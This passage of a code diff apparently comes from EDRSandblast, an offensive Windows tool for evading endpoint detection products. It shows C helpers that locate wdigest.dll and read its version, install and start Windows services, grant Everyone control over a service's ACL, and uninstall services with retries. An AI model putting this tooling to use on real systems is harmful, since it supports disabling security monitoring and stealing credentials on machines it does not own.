// Compute wdigest.dll path.
|
||||
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory);
|
||||
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll"));
|
||||
}
|
||||
return g_wdigestPath;
|
||||
}
|
||||
|
||||
TCHAR g_wdigestVersion[256] = { 0 };
|
||||
LPTSTR GetWdigestVersion() {
|
||||
if (_tcslen(g_wdigestVersion) == 0) {
|
||||
LPTSTR wdigestPath = GetWdigestPath();
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
return g_wdigestVersion;
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
#include "../EDRSandblast.h"
|
||||
#include "WindowsServiceOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL;
|
||||
SC_HANDLE hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service was not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service is successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service ACL configured to for Everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf_or_not(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
Reference in New Issue
Block a user